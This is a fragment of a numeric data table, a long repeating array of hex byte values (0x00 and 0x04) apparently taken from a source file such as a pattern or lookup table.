0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00,0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 0x00,0x04,0x04,0x00,0x04,0x00,0x00,0x04,0x04,0x00,0x00,0x04,0x00,0x04,0x04,0x00, 